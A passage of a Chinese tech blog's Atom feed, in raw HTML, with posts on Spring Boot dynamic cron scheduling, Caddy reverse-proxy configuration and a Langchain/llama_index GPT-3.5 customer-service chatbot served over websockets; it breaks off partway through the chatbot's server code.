class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Scheduled</span> <span class="keyword">implements</span> <span class="title">SchedulingConfigurer</span></span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> String cron;</span><br><span class="line"> TaskScheduler taskScheduler;</span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line">CronMapper cronMapper;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Bean</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> TaskScheduler <span class="title">taskScheduler</span><span class="params">()</span> </span>{</span><br><span class="line"> ThreadPoolTaskScheduler scheduler = <span class="keyword">new</span> ThreadPoolTaskScheduler();</span><br><span class="line"> scheduler.setPoolSize(<span class="number">30</span>);</span><br><span class="line"> scheduler.setThreadNamePrefix(<span class="string">"TaskScheduler-"</span>);</span><br><span class="line"> scheduler.initialize();</span><br><span class="line"> <span class="keyword">return</span> scheduler;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">configureTasks</span><span class="params">(ScheduledTaskRegistrar taskRegistrar)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.taskRegistrar=taskRegistrar;</span><br><span class="line"><span class="keyword">this</span>.taskScheduler=taskScheduler();</span><br><span class="line">scheduleTask();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">scheduleTask</span><span class="params">()</span> </span>{</span><br><span class="line"> taskScheduler.schedule(<span class="keyword">this</span>.task, triggerContext -> {</span><br><span class="line"> <span class="comment">//从数据库获取执行周期</span></span><br><span class="line"> <span class="keyword">if</span>(!StringUtils.hasText(<span class="keyword">this</span>.cron)) {</span><br><span class="line"> Cron c = cronMapper.selectById(<span class="string">"1"</span>);</span><br><span class="line"> <span class="comment">//如果为空设置默认</span></span><br><span class="line"> <span class="keyword">if</span>(c==<span class="keyword">null</span>) {</span><br><span class="line"> c=<span class="keyword">new</span> Cron();</span><br><span class="line"> c.setCronId(<span class="string">"1"</span>);</span><br><span class="line"> c.setCron(<span class="string">"0 0 0/6 * * ? "</span>);</span><br><span class="line"> cronMapper.insert(c);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">this</span>.cron = c.getCron();</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//返回执行周期</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> CronTrigger(<span class="keyword">this</span>.cron).nextExecutionTime(triggerContext);</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setCron</span><span class="params">(String cron)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.cron = cron;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3><span id="通过接口触发修改执行时间">通过接口触发修改执行时间</span></h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">@PostMapping</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">updateCron</span><span class="params">(String cron)</span></span>{</span><br><span class="line"> <span class="comment">//此处省略修改数据库中的cron 值 </span></span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"> <span class="comment">//修改为新的执行时间</span></span><br><span class="line"> scheduled.setCron(cron);</span><br><span class="line"> scheduled.scheduleTask();</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"修改成功"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1><span id="场景">场景</span></h1><p> 当某些简单的定时任务需要通过后台修改执行时间时,通过spring boot自带的定时任务来实现是个不错的选择。</p>
<h1><span id="代码实现">代码实现</span></h1><h3><sp</summary>
</entry>
<entry>
<title>使用Caddy作为HTTP服务器并配置反向代理到本地端口</title>
<link href="https://reiner.host/posts/100d4ce.html"/>
<id>https://reiner.host/posts/100d4ce.html</id>
<published>2023-07-02T13:59:01.000Z</published>
<updated>2023-08-26T04:09:00.815Z</updated>
<content type="html"><![CDATA[<h1><span id="用途">用途</span></h1><p>由于服务器上部署了caddy torjan 作为代理服务器,想要配置域名时发现80端口已经被caddy占用,无法使用nginx,干掉80端口代理又无法使用,于是打算直接使用caddy反向代理域名。</p><p>配置caddy时走了一些弯路,按照官方文档配置怎么都访问不了,在此记录一下最终解决方案</p><h1><span id="弯路">弯路</span></h1><p>按照官方文档我找到了caddyFile的位置:<code>/etc/caddy/Caddyfile</code> </p><p>接着vi 编辑,如下配置:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">reiner.host {</span><br><span class="line"> reverse_proxy localhost:8000</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>保存后重启caddy: <code>systemctl restart caddy.service</code> </p><p>访问配置的域名,结果发现域名访问不进来,官方的说法是,不配置前缀只配置域名,默认转发<a href="http://reiner.host/">http://reiner.host</a> 以及 <a href="https://reiner.host/">https://reiner.host</a> 的80和443端口,理论上这么配置应该没错。</p><p>这里我的版本是caddy 2.6.x </p><h1><span id="最终解决">最终解决</span></h1><p>最终我打算不再相信官方文档,手动配置每个需要转发的端口,如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">www.reiner.host:80 www.reiner.host:443 reiner.host:80 reiner.host:443 {</span><br><span class="line"> tls [email protected]</span><br><span class="line"> root * /data/pages</span><br><span class="line"> file_server</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">gateway.reiner.host:80 gateway.reiner.host:443 {</span><br><span class="line"> tls [email protected]</span><br><span class="line"> reverse_proxy localhost:8000</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中第一段配置是将<code>/data/pages</code>文件夹下所有文件作为HTTP服务器,通过访问如 reiner.host 或者 <a href="http://www.reiner.host/">www.reiner.host</a> 转发到 <code>/data/pages/index.html</code> </p><p>第二段是配置后台接口的地址,通过访问gateway.reiner.host 转发到本地的8000端口服务</p><p>tls 的作用是帮你申请ssl证书,这一点比nginx方便很多,当配置完重启后已经可以直接通过https访问了</p><p><strong>2023-8-26 update</strong><br>针对同一个域名,根据不同的路径转换到不同的服务,配置示例如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">www.reiner.host:80 www.reiner.host:443 reiner.host:80 reiner.host:443 {</span><br><span class="line"> tls [email protected]</span><br><span class="line"> reverse_proxy localhost:8080</span><br><span class="line"> handle_path /api/user/* {</span><br><span class="line"> reverse_proxy localhost:8081</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>例如访问reiner.host/api/user/xxx 就会转发到服务器的8081端口</p>]]></content>
<summary type="html"><h1><span id="用途">用途</span></h1><p>由于服务器上部署了caddy torjan 作为代理服务器,想要配置域名时发现80端口已经被caddy占用,无法使用nginx,干掉80端口代理又无法使用,于是打算直接使用caddy反向代理域名。</p>
<p</summary>
<category term="运维" scheme="https://reiner.host/categories/%E8%BF%90%E7%BB%B4/"/>
<category term="-- caddy -- 反向代理 -- nginx " scheme="https://reiner.host/tags/caddy-%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86-nginx/"/>
</entry>
<entry>
<title>Implementing AI customer service based on Langchain</title>
<link href="https://reiner.host/posts/8f0289a1.html"/>
<id>https://reiner.host/posts/8f0289a1.html</id>
<published>2023-06-14T12:04:22.000Z</published>
<updated>2024-12-17T12:46:36.274Z</updated>
<content type="html"><![CDATA[<h1><span id="based">Based</span></h1><ul><li><p>Langchain</p></li><li><p>llama_index >=0.6.5</p></li><li><p>GPT-3.5</p></li><li><p>websockets</p></li><li><p>python >=3.10</p></li></ul><p><strong>dependence</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pip install llama-index</span><br><span class="line"></span><br><span class="line">pip install openai </span><br><span class="line"></span><br><span class="line">pip install langchain</span><br><span class="line"></span><br><span class="line">pip install websockets</span><br><span class="line"></span><br><span class="line">pip install pandas</span><br><span class="line"></span><br><span class="line">pip install llama-hub</span><br></pre></td></tr></table></figure><h1><span id="what-use">What use</span></h1><p>Supporting private knowledge base AI question-answering chatbot, capable of both knowledge-based Q&A and casual conversation.</p><span id="more"></span><h1><span id="ai-chatbot">AI Chatbot</span></h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> llama_index <span class="keyword">import</span> SimpleDirectoryReader, ServiceContext, GPTVectorStoreIndex, PromptHelper,StorageContext,load_index_from_storage</span><br><span class="line"><span class="keyword">from</span> llama_index.llm_predictor.chatgpt <span class="keyword">import</span> ChatGPTLLMPredictor</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> ChatOpenAI</span><br><span class="line"><span class="keyword">from</span> langchain.callbacks.streaming_stdout <span class="keyword">import</span> StreamingStdOutCallbackHandler</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.agents <span class="keyword">import</span> IndexToolConfig, LlamaIndexTool,LlamaToolkit</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.agents <span class="keyword">import</span> create_llama_chat_agent,create_llama_agent</span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.memory_wrapper <span class="keyword">import</span> GPTIndexChatMemory</span><br><span class="line">os.environ[<span class="string">"OPENAI_API_KEY"</span>] = <span class="string">'sk-yourOpenAiKey'</span></span><br><span class="line"><span class="keyword">from</span> langchain.memory <span class="keyword">import</span> ConversationBufferMemory</span><br><span class="line"><span class="keyword">from</span> llama_index <span class="keyword">import</span> download_loader</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">construct_index</span>(<span class="params">directory_path</span>):</span></span><br><span class="line"> <span class="comment"># set maximum input size</span></span><br><span class="line"> max_input_size = <span class="number">4096</span></span><br><span class="line"> <span class="comment"># set number of output tokens</span></span><br><span class="line"> num_outputs = <span class="number">2000</span></span><br><span class="line"> <span class="comment"># set maximum chunk overlap</span></span><br><span class="line"> max_chunk_overlap = <span class="number">20</span></span><br><span class="line"> <span class="comment"># set chunk size limit</span></span><br><span class="line"> chunk_size_limit = <span class="number">2000</span> </span><br><span class="line"> <span class="comment">#If you don't want a stream output,set streaming=False</span></span><br><span class="line"> llm=ChatOpenAI(temperature=<span class="number">0.4</span>, model_name=<span class="string">"gpt-3.5-turbo"</span>, verbose=<span class="literal">True</span>,streaming=<span class="literal">True</span>, callbacks=[StreamingStdOutCallbackHandler()])</span><br><span class="line"> llm_predictor = ChatGPTLLMPredictor(llm=llm)</span><br><span class="line"> prompt_helper = PromptHelper(max_input_size, num_outputs, max_chunk_overlap, chunk_size_limit=chunk_size_limit)</span><br><span class="line"> </span><br><span class="line"> files = os.listdir(directory_path)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(files) < <span class="number">1</span>:</span><br><span class="line"> print(<span class="string">'error!'</span>+directory_path+<span class="string">' 文件夹下文件为空!'</span>)</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> file_name = files[<span class="number">0</span>]</span><br><span class="line"> print(<span class="string">"load index data :"</span>+directory_path+<span class="string">'/'</span>+file_name)</span><br><span class="line"> <span class="comment"># If the data is in Excel format</span></span><br><span class="line"> <span class="keyword">if</span> file_name.endswith(<span class="string">".xls"</span>) <span class="keyword">or</span> file_name.endswith(<span class="string">".xlsx"</span>):</span><br><span class="line"> PandasExcelReader = download_loader(<span class="string">"PandasExcelReader"</span>)</span><br><span class="line"> loader = PandasExcelReader()</span><br><span class="line"> loader._pandas_config={<span class="string">"header"</span>:<span class="number">0</span>}</span><br><span class="line"> <span class="comment">#源码有问题,不设置默认值会报错</span></span><br><span class="line"> <span class="comment">#loader._concat_rows = True</span></span><br><span class="line"> loader._row_joiner = <span class="string">' '</span></span><br><span class="line"> documents = loader.load_data(file=Path(directory_path+<span class="string">'/'</span>+file_name),sheet_name=<span class="literal">None</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> documents = SimpleDirectoryReader(directory_path).load_data()</span><br><span class="line"> service_context = ServiceContext.from_defaults(llm_predictor=llm_predictor, prompt_helper=prompt_helper) <span class="comment">#llm_predictor=llm_predictor, </span></span><br><span class="line"> index = GPTVectorStoreIndex.from_documents(documents,service_context=service_context)</span><br><span class="line"> <span class="comment">#save on disk</span></span><br><span class="line"> index.storage_context.persist(<span class="string">"D://storage"</span>)</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># rebuild storage context</span></span><br><span class="line"> storage_context = StorageContext.from_defaults(persist_dir=<span class="string">'D://storage'</span>)</span><br><span class="line"> <span class="comment"># load index</span></span><br><span class="line"> index = load_index_from_storage(storage_context)</span><br><span class="line"> <span class="comment">#response_mode="compact",</span></span><br><span class="line"> query_engine = index.as_query_engine(similarity_top_k=<span class="number">30</span>,service_context=service_context) <span class="comment">#query_engine = index.as_query_engine(similarity_top_k=1,streaming=True,service_context=service_context)</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">#If you want to save and use the conversation record in document format, you should use GPTindexChatMemory.</span></span><br><span class="line"> <span class="comment"># memory = GPTIndexChatMemory(</span></span><br><span class="line"> <span class="comment"># index=chat_history_index, </span></span><br><span class="line"> <span class="comment"># memory_key="chat_history", </span></span><br><span class="line"> <span class="comment"># query_kwargs={"response_mode": "compact","streaming":True,"service_context":service_context,"similarity_top_k":1}, #,"streaming":True</span></span><br><span class="line"> <span class="comment"># # return_source returns source nodes instead of querying index</span></span><br><span class="line"> <span class="comment"># return_source=True,</span></span><br><span class="line"> <span class="comment"># # return_messages returns context in message format</span></span><br><span class="line"> <span class="comment"># return_messages=True,</span></span><br><span class="line"> <span class="comment"># )</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">#use memory save the chat history</span></span><br><span class="line"> memory = ConversationBufferMemory(</span><br><span class="line"> memory_key=<span class="string">"chat_history"</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> tool_config = IndexToolConfig(</span><br><span class="line"> query_engine=query_engine, </span><br><span class="line"> name=<span class="string">f"AI Customer service"</span>,</span><br><span class="line"> description=<span class="string">f"If it is a game-related question, please use tools to obtain information before answering.If this question is about a game and you don't know the answer, jst say 'sorry,i don't know'"</span>,</span><br><span class="line"> tool_kwargs={<span class="string">"return_direct"</span>: <span class="literal">True</span>}</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> tool = LlamaIndexTool.from_tool_config(tool_config)</span><br><span class="line"> toolkit = LlamaToolkit(</span><br><span class="line"> index_configs=[tool],</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> agent_chain = create_llama_chat_agent(</span><br><span class="line"> toolkit,</span><br><span class="line"> llm,</span><br><span class="line"> memory=memory,</span><br><span class="line"> verbose=<span class="literal">True</span>,</span><br><span class="line"> agent_kwargs={<span class="string">"max_iterations"</span>:<span class="number">3</span>}</span><br><span class="line"> )</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>: </span><br><span class="line"> query = <span class="built_in">input</span>(<span class="string">"What do you want to ask? "</span>)</span><br><span class="line"> print(agent_chain.memory.chat_memory.messages)</span><br><span class="line"> response_stream = agent_chain.run(query)</span><br><span class="line"> <span class="comment">#if use streaming</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">hasattr</span>(response_stream,<span class="string">'response_gen'</span>):</span><br><span class="line"> <span class="keyword">for</span> text <span class="keyword">in</span> response_stream.response_gen:</span><br><span class="line"> print(text, end=<span class="string">""</span>)</span><br><span class="line"> <span class="comment">#todo send to client</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> print(response_stream)</span><br><span class="line"> </span><br><span class="line"><span class="comment">#This path is the file path of your knowledge base</span></span><br><span class="line">service_context=construct_index(<span class="string">'D://data'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1><span id="integrate-websocket">Integrate WebSocket</span></h1><p>Receive questions from the client and have AI generate answers.</p><h3><span id="websocket-serverpy">websocket server.py</span></h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> llama_index <span class="keyword">import</span> SimpleDirectoryReader, ServiceContext, PromptHelper,StorageContext,load_index_from_storage,GPTVectorStoreIndex</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> ChatOpenAI</span><br><span class="line"><span class="keyword">from</span> CustomCallbackHandler <span class="keyword">import</span> CustomAsyncCallBackHandler</span><br><span class="line"><span class="keyword">from</span> llama_index.llm_predictor.chatgpt <span class="keyword">import</span> ChatGPTLLMPredictor</span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.agents <span class="keyword">import</span> create_llama_chat_agent</span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.memory_wrapper <span class="keyword">import</span> GPTIndexChatMemory</span><br><span class="line"><span class="keyword">from</span> llama_index.langchain_helpers.agents <span class="keyword">import</span> IndexToolConfig, LlamaIndexTool,LlamaToolkit</span><br><span class="line"><span class="keyword">from</span> langchain.memory <span class="keyword">import</span> ConversationBufferMemory</span><br><span class="line"><span class="keyword">from</span> llama_index <span class="keyword">import</span> download_loader</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">os.environ[<span class="string">"OPENAI_API_KEY"</span>] = <span class="string">'sk-xxx'</span></span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"><span class="keyword">import</span> websockets</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">logging.basicConfig(stream=sys.stdout, level=logging.INFO)</span><br><span class="line">logging.getLogger().addHandler(logging.StreamHandler(stream=sys.stdout))</span><br><span class="line"></span><br><span class="line">agent_cache={}</span><br><span class="line">connecte_session = {}</span><br><span class="line">session_cache={}</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">build_llama_chat_agent</span>(<span class="params">directory_path,project_id,session_id,prompt_name,advanced_description</span>):</span></span><br><span class="line"> <span class="keyword">if</span> session_id <span class="keyword">not</span> <span class="keyword">in</span> agent_cache:</span><br><span class="line"> storage_path = <span class="string">'/data/index_cache/'</span>+project_id+<span class="string">'/storage'</span></span><br><span class="line"> <span class="comment"># set maximum input size</span></span><br><span class="line"> max_input_size = <span class="number">4096</span></span><br><span class="line"> <span class="comment"># set number of output tokens</span></span><br><span class="line"> num_outputs = <span class="number">2000</span></span><br><span class="line"> <span class="comment"># set maximum chunk overlap</span></span><br><span class="line"> max_chunk_overlap = <span class="number">20</span></span><br><span class="line"> <span class="comment"># set chunk size limit</span></span><br><span class="line"> chunk_size_limit = <span class="number">2000</span> </span><br><span class="line"></span><br><span class="line"> llm=ChatOpenAI(temperature=<span class="number">0.4</span>, model_name=<span class="string">"gpt-3.5-turbo"</span>, verbose=<span class="literal">False</span>,streaming=<span class="literal">True</span>)</span><br><span class="line"> llm_predictor = ChatGPTLLMPredictor(llm=llm)</span><br><span class="line"> prompt_helper = PromptHelper(max_input_size, num_outputs, max_chunk_overlap, chunk_size_limit=chunk_size_limit)</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> service_context = ServiceContext.from_defaults(llm_predictor=llm_predictor, prompt_helper=prompt_helper) <span class="comment">#llm_predictor=llm_predictor, </span></span><br><span class="line"> <span class="keyword">if</span> os.path.exists(storage_path):</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># rebuild storage context</span></span><br><span class="line"> storage_context = StorageContext.from_defaults(persist_dir=storage_path)</span><br><span class="line"> <span class="comment"># load index</span></span><br><span class="line"> index = load_index_from_storage(storage_context)</span><br><span class="line"></span><br><span class="line"> agent_cahin= get_chat_agent(index,service_context,llm,prompt_name,advanced_description)</span><br><span class="line"> agent_cache[session_id] = agent_cahin</span><br><span class="line"> <span class="keyword">return</span> agent_cahin</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> files = os.listdir(directory_path)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(files) < <span class="number">1</span>:</span><br><span class="line"> print(<span class="string">'error!'</span>+directory_path+<span class="string">' file is null!'</span>)</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> file_name = files[<span class="number">0</span>]</span><br><span class="line"> logging.info(<span class="string">"load data :"</span>+directory_path+<span class="string">'/'</span>+file_name)</span><br><span class="line"> <span class="comment"># if excel data format</span></span><br><span class="line"> <span class="keyword">if</span> file_name.endswith(<span class="string">".xls"</span>) <span class="keyword">or</span> file_name.endswith(<span class="string">".xlsx"</span>):</span><br><span class="line"> PandasExcelReader = download_loader(<span class="string">"PandasExcelReader"</span>)</span><br><span class="line"> loader = PandasExcelReader()</span><br><span class="line"> loader._pandas_config={<span class="string">"header"</span>:<span class="number">0</span>}</span><br><span class="line"> <span class="comment">#loader._concat_rows = True</span></span><br><span class="line"> loader._row_joiner = <span class="string">' 